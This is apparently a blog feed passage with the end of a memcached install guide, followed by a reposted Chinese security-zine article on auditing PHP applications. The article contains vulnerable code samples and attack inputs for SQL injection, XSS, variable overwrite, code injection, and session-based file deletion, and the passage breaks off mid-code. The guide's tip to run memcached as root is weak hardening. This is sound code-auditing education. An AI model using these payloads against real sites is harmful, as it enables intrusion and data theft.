</span><span style="color: #666666; font-style: italic;">#make
</span><span style="color: #666666; font-style: italic;">#make install</span></pre></div></div>

<p>接着安装memcache.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#cd /home/mysoft/
</span><span style="color: #666666; font-style: italic;">#tar -zxvf  memcached-1.4.5.tar.gz
</span><span style="color: #666666; font-style: italic;">#cd  memcached-1.5.0
</span><span style="color: #666666; font-style: italic;">#./configure --prefix=/usr/local/memcached --with-libevent=/usr/
</span><span style="color: #666666; font-style: italic;">#make #make install
</span><span style="color: #666666; font-style: italic;">#ls -al /usr/local/memcached/bin //验证安装</span></pre></div></div>

<p>如果没有问题，现在就可以正常启动memcached了，命令如下：</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">/</span>usr<span style="color: #339933;">/</span>local<span style="color: #339933;">/</span>memcached<span style="color: #339933;">/</span>bin<span style="color: #339933;">/</span>memcached <span style="color: #339933;">-</span>d <span style="color: #339933;">-</span>m <span style="color: #cc66cc;">100</span> <span style="color: #339933;">-</span>u root <span style="color: #339933;">-</span>l 192<span style="color: #339933;">.</span>168<span style="color: #339933;">.</span>1<span style="color: #339933;">.</span>101 <span style="color: #339933;">-</span>p <span style="color: #cc66cc;">11211</span> <span style="color: #339933;">-</span>c <span style="color: #cc66cc;">256</span> <span style="color: #339933;">-</span>P <span style="color: #339933;">/</span>tmp<span style="color: #339933;">/</span>memcached<span style="color: #339933;">.</span>pid</pre></div></div>

<p>-d选项是启动一个守护进程，<br />
-m是分配给Memcache使用的内存数量，单位是MB，我这里是100MB，<br />
-u是运行Memcache的用户，我这里是root，<br />
-l是监听的服务器IP地址，如果有多个地址的话，我这里指定了服务器的IP地址192.168.1.100，<br />
-p是设置Memcache监听的端口，我这里设置了11211，最好是1024以上的端口，我们这里统一使用11211-c选项是最大运行的并发连接数，默认是1024，我这里设置了256，按照自己服务器的负载量来设定。<br />
-P是设置保存Memcache的pid文件，我这里是保存在/tmp/memcached.pid<br />
常见的启动失败信息有：<br />
AA.启动时找不到libevent库<br />
memcached: error while loading shared libraries: libevent-1.4.so.2: cannot open shared object file: No such file or directory </p>
<p>解决办法1：将libevent库所在路径加入LIBRARY_PATH,在/etc/profile中加入<br />
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/libevent/lib</p>
<p>解决办法2：<br />
ln -s /libevent安装路径/libevent/lib/libevent-1.3b.so.1 /usr/lib/libevent-1.3c.so.1<br />
详细的处理过程如下：<br />
>locate libevent-1.4.so.2<br />
libevent-1.4.so: /usr/local/lib/libevent-1.4.so.2</p>
<p>> ldd /usr/local/bin/memcached<br />
        linux-gate.so.1 =>  (0xb7fa4000)<br />
        <strong>libevent-1.4.so.2 => not found</strong><br />
        libpthread.so.0 => /lib/libpthread.so.0 (0x0086e000)<br />
        libc.so.6 => /lib/libc.so.6 (0x006f7000)<br />
        /lib/ld-linux.so.2 (0x006d9000)</p>
<p>> LD_DEBUG=libs ./memcached -v<br />
找到默认路径 /usr/lib/<br />
>ln -s /usr/local/lib/libevent-1.4.so.2 /usr/lib/libevent-1.4.so.2</p>
<p>>ldd /usr/local/bin/memcached<br />
        linux-gate.so.1 =>  (0xb7ffd000)<br />
        libevent-1.4.so.2 => /usr/lib/libevent-1.4.so.2 (0xb7fdc000)<br />
        libpthread.so.0 => /lib/libpthread.so.0 (0x0086e000)<br />
        libc.so.6 => /lib/libc.so.6 (0x006f7000)<br />
        libnsl.so.1 => /lib/libnsl.so.1 (0x009f8000)<br />
        librt.so.1 => /lib/librt.so.1 (0&#215;00887000)<br />
        libresolv.so.2 => /lib/libresolv.so.2 (0x00b29000)<br />
        /lib/ld-linux.so.2 (0x006d9000)<br />
收工<br />
AB.第二个可能的问题是编译memcache期间出现的，解决方案可以参考<a href="http://kb.cnblogs.com/a/1501326/">这儿</a><br />
或者 在./configure 时加入参数–build=i686-pc-linux-gnu<br />
AC.如果客户端连接不上，可能是服务器防火墙的原因，选择关闭或者增加相应的iptables文件如下:<br />
#永久性生效，重启后不会复原<br />
开启： chkconfig iptables on<br />
关闭： chkconfig iptables off<br />
#即时生效，重启后复原<br />
开启： service iptables start<br />
关闭： service iptables stop<br />
#修改/etc/sysconfig/iptables文件，<br />
添加-A RH-Firewall-1-INPUT -m state &#8211;state NEW -m tcp -p tcp &#8211;dport 11211 -j ACCEPT</p>
<p>使用的方式可以有很多种，常见的语言api通过官方网站都能找到，比如php的参考<a href="http://pecl.php.net/package/memcached">这儿</a>，需要memcached<a href="http://code.google.com/p/memcached/wiki/PHPClientComparison">插件</a><br />
Java的可以选择这个<a href="http://code.google.com/p/spymemcached/">spymemcached</a>或者<a href="http://www.whalin.com/memcached">java memcached</a>，其他语言的可以从<a href="http://code.google.com/p/memcached/wiki/Clients">这个列表</a>中查找。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.fhand.com/blog/archives/108.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>高级PHP应用程序漏洞审核技术【转载】</title>
		<link>http://www.fhand.com/blog/archives/57.html</link>
		<comments>http://www.fhand.com/blog/archives/57.html#comments</comments>
		<pubDate>Sat, 19 Sep 2009 02:47:49 +0000</pubDate>
		<dc:creator>david</dc:creator>
				<category><![CDATA[技术收集]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[php漏洞]]></category>

		<guid isPermaLink="false">http://www.fhand.com/blog/?p=57</guid>
		<description><![CDATA[作者：Ph4nt0m Security Team 来源：http://www.ph4nt0m.org-a.googlepages.com/PSTZine_0x03_0x06.txt ==Ph4nt0m Security Team== Issue 0x03, Phile #0x06 of 0x07 &#124;=---------------------------------------------------------------------------=&#124; &#124;=---------------------=[ 高级PHP应用程序漏洞审核技术 ]=---------------------=&#124; &#124;=---------------------------------------------------------------------------=&#124; &#124;=---------------------------------------------------------------------------=&#124; &#124;=----------------------=[ By www.80vul.com ]=------------------------=&#124; &#124;=------------------------=[ &#60;www.80vul.com&#62; ]=--------------------------=&#124; &#124;=---------------------------------------------------------------------------=&#124; [目录] 1. 前言 2. 传统的代码审计技术 3. PHP版本与应用代码审计 4. 其他的因素与应用代码审计 5. 扩展我们的字典 5.1 变量本身的key 5.2 变量覆盖 5.2.1 遍历初始化变量 5.2.2 parse_str()变量覆盖漏洞 5.2.3 import_request_variables()变量覆盖漏洞 5.2.4 PHP5 Globals 5.3 magic_quotes_gpc与代码安全 5.3.1 什么是magic_quotes_gpc [...]]]></description>
			<content:encoded><![CDATA[<p>作者：Ph4nt0m Security Team</p>
<p>来源：<a href="http://www.ph4nt0m.org-a.googlepages.com/PSTZine_0x03_0x06.txt">http://www.ph4nt0m.org-a.googlepages.com/PSTZine_0x03_0x06.txt</a></p>
<pre>                           ==Ph4nt0m Security Team==

                       Issue 0x03, Phile #0x06 of 0x07

|=---------------------------------------------------------------------------=|
|=---------------------=[ 高级PHP应用程序漏洞审核技术 ]=---------------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
|=----------------------=[    By www.80vul.com     ]=------------------------=|
|=------------------------=[   &lt;www.80vul.com&gt;   ]=--------------------------=|
|=---------------------------------------------------------------------------=|

[目录]

1. 前言
2. 传统的代码审计技术
3. PHP版本与应用代码审计
4. 其他的因素与应用代码审计
5. 扩展我们的字典
  5.1 变量本身的key
  5.2 变量覆盖
    5.2.1 遍历初始化变量
    5.2.2 parse_str()变量覆盖漏洞
    5.2.3 import_request_variables()变量覆盖漏洞
    5.2.4 PHP5 Globals
  5.3 magic_quotes_gpc与代码安全
    5.3.1 什么是magic_quotes_gpc
    5.3.2 哪些地方没有魔术引号的保护
    5.3.3 变量的编码与解码
    5.3.4 二次攻击
    5.3.5 魔术引号带来的新的安全问题
    5.3.6 变量key与魔术引号
  5.4 代码注射
    5.4.1 PHP中可能导致代码注射的函数
    5.4.2 变量函数与双引号
  5.5 PHP自身函数漏洞及缺陷
    5.5.1 PHP函数的溢出漏洞
    5.5.2 PHP函数的其他漏洞
    5.5.3 session_destroy()删除文件漏洞
    5.5.4 随机函数
  5.6 特殊字符
    5.6.1 截断
      5.6.1.1 include截断
      5.6.1.2 数据截断
      5.6.1.3 文件操作里的特殊字符
6. 怎么进一步寻找新的字典
7. DEMO
8. 后话
9. 附录

一、前言

    PHP是一种被广泛使用的脚本语言，尤其适合于web开发。具有跨平台，容易学习，功能强
大等特点，据统计全世界有超过34%的网站有php的应用，包括Yahoo、sina、163、sohu等大型
门户网站。而且很多具名的web应用系统（包括bbs,blog,wiki,cms等等）都是使用php开发的，
Discuz、phpwind、phpbb、vbb、wordpress、boblog等等。随着web安全的热点升级，php应
用程序的代码安全问题也逐步兴盛起来，越来越多的安全人员投入到这个领域，越来越多的应
用程序代码漏洞被披露。针对这样一个状况，很多应用程序的官方都成立了安全部门，或者雇
佣安全人员进行代码审计，因此出现了很多自动化商业化的代码审计工具。也就是这样的形
势导致了一个局面：大公司的产品安全系数大大的提高，那些很明显的漏洞基本灭绝了，那些
大家都知道的审计技术都无用武之地了。我们面对很多工具以及大牛扫描过n遍的代码，有很
多的安全人员有点悲观，而有的官方安全人员也非常的放心自己的代码，但是不要忘记了“没
有绝对的安全”，我们应该去寻找新的途径挖掘新的漏洞。本文就给介绍了一些非传统的技术
经验和大家分享。

    另外在这里特别说明一下本文里面很多漏洞都是来源于网络上牛人和朋友们的分享，在
这里需要感谢他们，：）

二、传统的代码审计技术
<span id="more-57"></span>
    WEB应用程序漏洞查找基本上是围绕两个元素展开：变量与函数。也就是说一漏洞的利用
必须把你提交的恶意代码通过变量经过n次变量转换传递，最终传递给目标函数执行，还记得
MS那句经典的名言吗？“一切输入都是有害的”。这句话只强调了变量输入，很多程序员把“输
入”理解为只是gpc[$_GET,$_POST,$_COOKIE]，但是变量在传递过程产生了n多的变化。导致
很多过滤只是个“纸老虎”！我们换句话来描叙下代码安全：“一切进入函数的变量是有害的”。

    PHP代码审计技术用的最多也是目前的主力方法：静态分析，主要也是通过查找容易导致
安全漏洞的危险函数，常用的如grep，findstr等搜索工具，很多自动化工具也是使用正则来搜
索这些函数。下面列举一些常用的函数，也就是下文说的字典（暂略）。但是目前基本已有的
字典很难找到漏洞，所以我们需要扩展我们的字典，这些字典也是本文主要探讨的。

    其他的方法有：通过修改PHP源代码来分析变量流程，或者hook危险的函数来实现对应用
程序代码的审核，但是这些也依靠了我们上面提到的字典。

三、PHP版本与应用代码审计

    到目前为止，PHP主要有3个版本：php4、php5、php6，使用比例大致如下：

php4 68%
2000-2007，No security fixes after 2008/08，最终版本是php4.4.9

php5 32%
2004-present，Now at version 5.2.6（PHP 5.3 alpha1 released!）

php6
目前还在测试阶段，变化很多做了大量的修改，取消了很多安全选项如magic_quotes_gpc。
（这个不是今天讨论的范围）

    由于php缺少自动升级的机制，导致目前PHP版本并存，也导致很多存在漏洞没有被修补。
这些有漏洞的函数也是我们进行WEB应用程序代码审计的重点对象，也是我们字典重要来源。

四、其他的因素与应用代码审计

    很多代码审计者拿到代码就看，他们忽视了“安全是一个整体”，代码安全很多的其他因素
有关系，比如上面我们谈到的PHP版本的问题，比较重要的还有操作系统类型（主要是两大阵营
win/*nix），WEB服务端软件（主要是iis/apache两大类型）等因素。这是由于不同的系统不同
的WEB SERVER有着不同的安全特点或特性，下文有些部分会涉及。

    所以我们在做某个公司WEB应用代码审计时，应该了解他们使用的系统，WEB服务端软件，
PHP版本等信息。

五、扩展我们的字典

下面将详细介绍一些非传统PHP应用代码审计一些漏洞类型和利用技巧。

5.1 变量本身的key

    说到变量的提交很多人只是看到了GET/POST/COOKIE等提交的变量的值，但是忘记了有的
程序把变量本身的key也当变量提取给函数处理。

--code-------------------------------------------------------------------------
&lt;?php
//key.php?aaaa'aaa=1&amp;bb'b=2
//print_R($_GET);
 foreach ($_GET AS $key =&gt; $value)
{
	print $key."n";
}
?&gt;
-------------------------------------------------------------------------------

    上面的代码就提取了变量本身的key显示出来，单纯对于上面的代码，如果我们提交URL：

--code-------------------------------------------------------------------------
key.php?&lt;script&gt;alert(1);&lt;/script&gt;=1&amp;bbb=2
-------------------------------------------------------------------------------

    那么就导致一个xss的漏洞，扩展一下如果这个key提交给include()等函数或者sql查询
呢？：） 

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求：无
系统要求：无
审计策略：通读代码
+++++++++++++++++++++++++

5.2 变量覆盖（variable-overwrite）
<!--more-->
    很多的漏洞查找者都知道extract()这个函数在指定参数为EXTR_OVERWRITE或者没有指
定函数可以导致变量覆盖，但是还有很多其他情况导致变量覆盖的如：

5.2.1 遍历初始化变量

请看如下代码：

--code-------------------------------------------------------------------------
&lt;?php
//var.php?a=fuck
$a='hi';
foreach($_GET as $key =&gt; $value) {
	$$key = $value;
}
print $a;
?&gt;
-------------------------------------------------------------------------------

    很多的WEB应用都使用上面的方式（注意循环不一定是foreach），如Discuz!4.1的WAP部分
的代码：

--code-------------------------------------------------------------------------
$chs = '';
if($_POST &amp;&amp; $charset != 'utf-8') {
	$chs = new Chinese('UTF-8', $charset);
	foreach($_POST as $key =&gt; $value) {
		$$key = $chs-&gt;Convert($value);
	}
	unset($chs);
-------------------------------------------------------------------------------

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求：无
系统要求：无
审计策略：通读代码
+++++++++++++++++++++++++

5.2.2 parse_str()变量覆盖漏洞（CVE-2007-3205）、mb_parse_str() 

--code-------------------------------------------------------------------------
//var.php?var=new
$var = 'init';
parse_str($_SERVER['QUERY_STRING']);
print $var;
-------------------------------------------------------------------------------

    该函数一样可以覆盖数组变量，上面的代码是通过$_SERVER['QUERY_STRING']来提取变
量的，对于指定了变量名的我们可以通过注射“=”来实现覆盖其他的变量：

--code-------------------------------------------------------------------------
//var.php?var=1&amp;a[1]=var1%3d222
$var1 = 'init';
parse_str($a[$_GET['var']]);
print $var1;
-------------------------------------------------------------------------------

上面的代码通过提交$var来实现对$var1的覆盖。

+++++++++++++++++++++++++
漏洞审计策略（parse_str）
-------------------------
PHP版本要求：无
系统要求：无
审计策略：查找字符parse_str
+++++++++++++++++++++++++

+++++++++++++++++++++++++
漏洞审计策略（mb_parse_str）
-------------------------
PHP版本要求：php4&lt;4.4.7 php5&lt;5.2.2
系统要求：无
审计策略：查找字符mb_parse_str
+++++++++++++++++++++++++

5.2.3 import_request_variables()变量覆盖漏洞（CVE-2007-1396）

--code-------------------------------------------------------------------------
//var.php?_SERVER[REMOTE_ADDR]=10.1.1.1
echo 'GLOBALS '.(int)ini_get("register_globals")."n";
import_request_variables('GPC');
if ($_SERVER['REMOTE_ADDR'] != '10.1.1.1') die('Go away!');
echo 'Hello admin!';
-------------------------------------------------------------------------------

+++++++++++++++++++++++++
漏洞审计策略（import_request_variables）
-------------------------
PHP版本要求：php4&lt;4.4.1 php5&lt;5.2.2
系统要求：无
审计策略：查找字符import_request_variables
+++++++++++++++++++++++++

5.2.4 PHP5 Globals 

    从严格意义上来说这个不可以算是PHP的漏洞，只能算是一个特性，测试代码：

--code-------------------------------------------------------------------------
&lt;?
// register_globals =ON
//foo.php?GLOBALS[foobar]=HELLO
php echo $foobar;
?&gt;
-------------------------------------------------------------------------------

    但是很多的程序没有考虑到这点，请看如下代码：

--code-------------------------------------------------------------------------
//为了安全取消全局变量
//var.php?GLOBALS[a]=aaaa&amp;b=111
if (ini_get('register_globals')) foreach($_REQUEST as $k=&gt;$v) unset(${$k});
print $a;
print $_GET[b];
-------------------------------------------------------------------------------

    如果熟悉WEB2.0的攻击的同学，很容易想到上面的代码我们可以利用这个特性进行crsf
攻击。

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求：无
系统要求：无
审计策略：通读代码
+++++++++++++++++++++++++

5.3 magic_quotes_gpc与代码安全

5.3.1 什么是magic_quotes_gpc

    当打开时，所有的 '（单引号），"（双引号），（反斜线）和 NULL 字符都会被自动加上一个
反斜线进行转义。还有很多函数有类似的作用 如：addslashes()、mysql_escape_string()、
mysql_real_escape_string()等，另外还有parse_str()后的变量也受magic_quotes_gpc的影
响。目前大多数的主机都打开了这个选项，并且很多程序员也注意使用上面那些函数去过滤
变量，这看上去很安全。很多漏洞查找者或者工具遇到些函数过滤后的变量直接就放弃，但是
就在他们放弃的同时也放过很多致命的安全漏洞。 ：）

5.3.2 哪些地方没有魔术引号的保护

1) $_SERVER变量 

    PHP5的$_SERVER变量缺少magic_quotes_gpc的保护，导致近年来X-Forwarded-For的漏洞
猛暴，所以很多程序员考虑过滤X-Forwarded-For，但是其他的变量呢？

+++++++++++++++++++++++++
漏洞审计策略（$_SERVER变量）
-------------------------
PHP版本要求：无
系统要求：无
审计策略：查找字符_SERVER
+++++++++++++++++++++++++

2) getenv()得到的变量（使用类似$_SERVER变量）

+++++++++++++++++++++++++
漏洞审计策略（getenv()）
-------------------------
PHP版本要求：无
系统要求：无
审计策略：查找字符getenv
+++++++++++++++++++++++++

3) $HTTP_RAW_POST_DATA与PHP输入、输出流

    主要应用与soap/xmlrpc/webpublish功能里，请看如下代码：

--code-------------------------------------------------------------------------
if ( !isset( $HTTP_RAW_POST_DATA ) ) {
	$HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
}
if ( isset($HTTP_RAW_POST_DATA) )
	$HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);
-------------------------------------------------------------------------------

+++++++++++++++++++++++++
漏洞审计策略（数据流）
-------------------------
PHP版本要求：无
系统要求：无
审计策略：查找字符HTTP_RAW_POST_DATA或者php://input
+++++++++++++++++++++++++

4) 数据库操作容易忘记'的地方如：in()/limit/order by/group by

    如Discuz!&lt;5.0的pm.php：

--code-------------------------------------------------------------------------
if(is_array($msgtobuddys)) {
	$msgto = array_merge($msgtobuddys, array($msgtoid));
		......
foreach($msgto as $uid) {
	$uids .= $comma.$uid;
	$comma = ',';
}
......
$query = $db-&gt;query("SELECT m.username, mf.ignorepm FROM {$tablepre}members m
	LEFT JOIN {$tablepre}memberfields mf USING(uid)
	WHERE m.uid IN ($uids)");
-------------------------------------------------------------------------------

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求：无
系统要求：无
审计策略：查找数据库操作字符（select,update,insert等等）
+++++++++++++++++++++++++

5.3.3 变量的编码与解码

    一个WEB程序很多功能的实现都需要变量的编码解码，而且就在这一转一解的传递过程中
就悄悄的绕过你的过滤的安全防线。

    这个类型的主要函数有：

1) stripslashes() 这个其实就是一个decode-addslashes()

2) 其他字符串转换函数：

base64_decode -- 对使用 MIME base64 编码的数据进行解码
base64_encode -- 使用 MIME base64 对数据进行编码
rawurldecode -- 对已编码的 URL 字符串进行解码
rawurlencode -- 按照 RFC 1738 对 URL 进行编码
urldecode -- 解码已编码的 URL 字符串
urlencode -- 编码 URL 字符串
 ......
（另外一个 unserialize/serialize）

3) 字符集函数（GKB,UTF7/8...）如iconv()/mb_convert_encoding()等

    目前很多漏洞挖掘者开始注意这一类型的漏洞了，如典型的urldecode：

--code-------------------------------------------------------------------------
$sql = "SELECT * FROM article WHERE articleid='".urldecode($_GET[id])."'";
-------------------------------------------------------------------------------

    当magic_quotes_gpc=on时，我们提交?id=%2527，得到sql语句为：

--code-------------------------------------------------------------------------
SELECT * FROM article WHERE articleid='''
-------------------------------------------------------------------------------

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求：无
系统要求：无
审计策略：查找对应的编码函数
+++++++++++++++++++++++++

5.3.4 二次攻击（详细见附录[1]）

1) 数据库出来的变量没有进行过滤

2) 数据库的转义符号：

  * mysql/oracle转义符号同样是（我们提交'通过魔术引号变化为'，当我们update进入数
据库时，通过转义变为'）

  * mssql的转义字符为'（所以我们提交'通过魔术引号变化为'，mssql会把它当为一个字符
串直接处理，所以魔术引号对于mssql的注射没有任何意义）

    从这里我们可以思考得到一个结论：一切进入函数的变量都是有害的，另外利用二次攻击
我们可以实现一个webrootkit，把我们的恶意构造直接放到数据库里。我们应当把这样的代
码看成一个vul？

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求：无
系统要求：无
审计策略：通读代码
+++++++++++++++++++++++++

5.3.5 魔术引号带来的新的安全问题

    首先我们看下魔术引号的处理机制：

[--&gt;\,'--&gt;',"--&gt;",null--&gt; ]

    这给我们引进了一个非常有用的符号“”，“”符号不仅仅是转义符号，在WIN系统下也是
目录转跳的符号。这个特点可能导致php应用程序里产生非常有意思的漏洞：

1) 得到原字符（',,",null]）

--code-------------------------------------------------------------------------
$order_sn=substr($_GET['order_sn'], 1);

//提交                 '
//魔术引号处理         '
//substr               '

$sql = "SELECT order_id, order_status, shipping_status, pay_status, ".
   " shipping_time, shipping_id, invoice_no, user_id ".
   " FROM " . $ecs-&gt;table('order_info').
   " WHERE order_sn = '$order_sn' LIMIT 1";
-------------------------------------------------------------------------------

2) 得到“”字符

--code-------------------------------------------------------------------------
$order_sn=substr($_GET['order_sn'], 0,1);

//提交                 '
//魔术引号处理         '
//substr                   

$sql = "SELECT order_id, order_status, shipping_status, pay_status, ".
   " shipping_time, shipping_id, invoice_no, user_id ".
   " FROM " . $ecs-&gt;table('order_info').
   " WHERE order_sn = '$order_sn' and order_tn='".$_GET['order_tn']."'";
-------------------------------------------------------------------------------

    提交内容：

--code-------------------------------------------------------------------------
?order_sn='&amp;order_tn=%20and%201=1/*
-------------------------------------------------------------------------------

    执行的SQL语句为：

--code-------------------------------------------------------------------------
SELECT order_id, order_status, shipping_status, pay_status, shipping_time,
shipping_id, invoice_no, user_id FROM order_info WHERE order_sn = '' and
order_tn=' and 1=1/*'
-------------------------------------------------------------------------------

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求：无
系统要求：无
审计策略：查找字符串处理函数如substr或者通读代码
+++++++++++++++++++++++++

5.3.6 变量key与魔术引号

    我们最在这一节的开头就提到了变量key，PHP的魔术引号对它有什么影响呢？

--code-------------------------------------------------------------------------
&lt;?php
//key.php?aaaa'aaa=1&amp;bb'b=2
//print_R($_GET);
 foreach ($_GET AS $key =&gt; $value)
        {
        print $key."n";
        }
?&gt;
-------------------------------------------------------------------------------

1) 当magic_quotes_gpc = On时，在php5.24下测试显示：

aaaa'aaa
bb'b

    从上面结果可以看出来，在设置了magic_quotes_gpc = On下，变量key受魔术引号影响。
但是在php4和php&lt;5.2.1的版本中，不处理数组第一维变量的key，测试代码如下：

--code-------------------------------------------------------------------------
&lt;?php
//key.php?aaaa'aaa[bb']=1
print_R($_GET);
?&gt;
-------------------------------------------------------------------------------

    结果显示:

Array ( [aaaa'aaa] =&gt; Array ( [bb'] =&gt; 1 ) )   

    数组第一维变量的key不受魔术引号的影响。

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求：php4和php&lt;5.2.1
系统要求：无
审计策略：通读代码
+++++++++++++++++++++++++

2) 当magic_quotes_gpc = Off时，在php5.24下测试显示：

aaaa'aaa
bb'b

    对于magic_quotes_gpc = Off时所有的变量都是不安全的，考虑到这个，很多程序都通过
addslashes等函数来实现魔术引号对变量的过滤，示例代码如下：

--code-------------------------------------------------------------------------
&lt;?php
//keyvul.php?aaa'aa=1'
//magic_quotes_gpc = Off
 if (!get_magic_quotes_gpc())
{
 $_GET  = addslashes_array($_GET);
}

function addslashes_array($value)
{
        return is_array($value) ? array_map('addslashes_array', $value) : addslashes($value);
}
print_R($_GET);
foreach ($_GET AS $key =&gt; $value)
{
	print $key;
}
?&gt;
-------------------------------------------------------------------------------

    以上的代码看上去很完美，但是他这个代码里addslashes($value)只处理了变量的具体
的值，但是没有处理变量本身的key，上面的代码显示结果如下：

Array
(
    [aaa'aa] =&gt; 1'
)
aaa'aa

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求：无
系统要求：无
审计策略：通读代码
+++++++++++++++++++++++++

5.4 代码注射

5.4.1 PHP中可能导致代码注射的函数

    很多人都知道eval、preg_replace+/e可以执行代码，但是不知道php还有很多的函数可
以执行代码如：

assert()
call_user_func()
call_user_func_array()
create_function()
变量函数
...

    这里我们看看最近出现的几个关于create_function()代码执行漏洞的代码：

--code-------------------------------------------------------------------------
&lt;?php
//how to exp this code
$sort_by=$_GET['sort_by'];
$sorter='strnatcasecmp';
$databases=array('test','test');
$sort_function = '  return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);
	      ';
usort($databases, create_function('$a, $b', $sort_function));
-------------------------------------------------------------------------------

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求：无
系统要求：无
审计策略：查找对应函数（assert,call_user_func,call_user_func_array,create_function等）
+++++++++++++++++++++++++

5.4.2 变量函数与双引号

    对于单引号和双引号的区别，很多程序员深有体会，示例代码：

--code-------------------------------------------------------------------------
echo "$an";
echo '$an';
-------------------------------------------------------------------------------

    我们再看如下代码：

--code-------------------------------------------------------------------------
//how to exp this code
if($globals['bbc_email']){

$text = preg_replace(
		array("/[email=(.*?)](.*?)[/email]/ies",
				"/[email](.*?)[/email]/ies"),
		array('check_email("$1", "$2")',
				'check_email("$1", "$1")'), $text);
-------------------------------------------------------------------------------

    另外很多的应用程序都把变量用""存放在缓存文件或者config或者data文件里，这样很
容易被人注射变量函数。

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求：无
系统要求：无
审计策略：通读代码
+++++++++++++++++++++++++

5.5 PHP自身函数漏洞及缺陷

5.5.1 PHP函数的溢出漏洞

    大家还记得Stefan Esser大牛的Month of PHP Bugs（MOPB见附录[2]）项目么，其中比较
有名的要算是unserialize()，代码如下：

--code-------------------------------------------------------------------------
unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data']);
-------------------------------------------------------------------------------

    在以往的PHP版本里，很多函数都曾经出现过溢出漏洞，所以我们在审计应用程序漏洞的
时候不要忘记了测试目标使用的PHP版本信息。

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求：对应fix的版本
系统要求：
审计策略：查找对应函数名
+++++++++++++++++++++++++

5.5.2 PHP函数的其他漏洞

    Stefan Esser大牛发现的漏洞：unset()--Zend_Hash_Del_Key_Or_Index Vulnerability

    比如phpwind早期的serarch.php里的代码：

--code-------------------------------------------------------------------------
unset($uids);
......
$query=$db-&gt;query("SELECT uid FROM pw_members WHERE username LIKE '$pwuser'");
while($member=$db-&gt;fetch_array($query)){
	$uids .= $member['uid'].',';
}
$uids ? $uids=substr($uids,0,-1) : $sqlwhere.=' AND 0 ';
........
$query = $db-&gt;query("SELECT DISTINCT t.tid FROM $sqltable WHERE $sqlwhere $orderby $limit");
-------------------------------------------------------------------------------

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求：php4&lt;4.3 php5&lt;5.14
系统要求：无
审计策略：查找unset
+++++++++++++++++++++++++

5.5.3 session_destroy()删除文件漏洞（测试PHP版本：5.1.2）

    这个漏洞是几年前朋友saiy发现的，session_destroy()函数的功能是删除session文件，
很多web应用程序的logout的功能都直接调用这个函数删除session，但是这个函数在一些老
的版本中缺少过滤导致可以删除任意文件。测试代码如下：

--code-------------------------------------------------------------------------
&lt;?php
//val.php
session_save_path('./');
session_start();
if($_GET['del']) {
	session_unset();
	session_destroy();
}else{
	$_SESSION['hei']=1;
	echo(session_id());
	print_r($_SESSION);
}
?&gt;
-------------------------------------------------------------------------------

    当我们提交构造cookie:PHPSESSID=/../1.php，相当于unlink('sess_/../1.php')这样
就通过注射../转跳目录删除任意文件了。很多著名的程序某些版本都受影响如phpmyadmin，
sablog，phpwind3等等。

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求：具体不详
系统要求：无
审计策略：查找session_destroy
+++++++++++++++++++++++++

5.5.4 随机函数

1) rand() VS mt_rand()

--code-------------------------------------------------------------------------
&lt;?php
//on windows
print mt_getrandmax(); //2147483647
print getrandmax();// 32767
?&gt;
-------------------------------------------------------------------------------

    可以看出rand()最大的随机数是32767，这个很容易被我们暴力破解。 

--code-------------------------------------------------------------------------
&lt;?php
$a= md5(rand());
for($i=0;$i&lt;=32767;$i++){
  if(md5($i) ==$a ) {
   print $i."--&gt;ok!!&lt;br&gt;";exit;
   }else { print $i."&lt;br&gt;";}
}
?&gt;
-------------------------------------------------------------------------------

    当我们的程序使用rand处理session时，攻击者很容易暴力破解出你的session，但是对于
mt_rand是很难单纯的暴力的。

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求：无
系统要求：无
审计策略：查找rand
+++++++++++++++++++++++++

2) mt_srand()/srand()-weak seeding（by Stefan Esser）

    看php手册里的描述：

-------------------------------------------------------------------------------
mt_srand
(PHP 3 &gt;= 3.0.6, PHP 4, PHP 5)

mt_srand -- 播下一个更好的随机数发生器种子
说明
void mt_srand ( int seed )

用 seed 来给随机数发生器播种。从 PHP 4.2.0 版开始，seed 参数变为可选项，当该项为空
时，会被设为随时数。 

例子 1. mt_srand() 范例

&lt;?php
// seed with microseconds
function make_seed()
{
    list($usec, $sec) = explode(' ', microtime());
    return (float) $sec + ((float) $usec * 100000);
}
mt_srand(make_seed());
$randval = mt_rand();
?&gt;  

注: 自 PHP 4.2.0 起，不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种，现已
自动完成。
-------------------------------------------------------------------------------

    php从4.2.0开始实现了自动播种，但是为了兼容，后来使用类似于这样的代码播种：

--code-------------------------------------------------------------------------
mt_srand ((double) microtime() * 1000000)
-------------------------------------------------------------------------------

    但是使用(double)microtime()*1000000类似的代码seed是比较脆弱的：

0&lt;(double) microtime()&lt;1 ---&gt; 0&lt;(double) microtime()* 1000000&lt;1000000

    那么很容易暴力破解,测试代码如下：

--code-------------------------------------------------------------------------
&lt;?php
/////////////////
//&gt;php rand.php
//828682
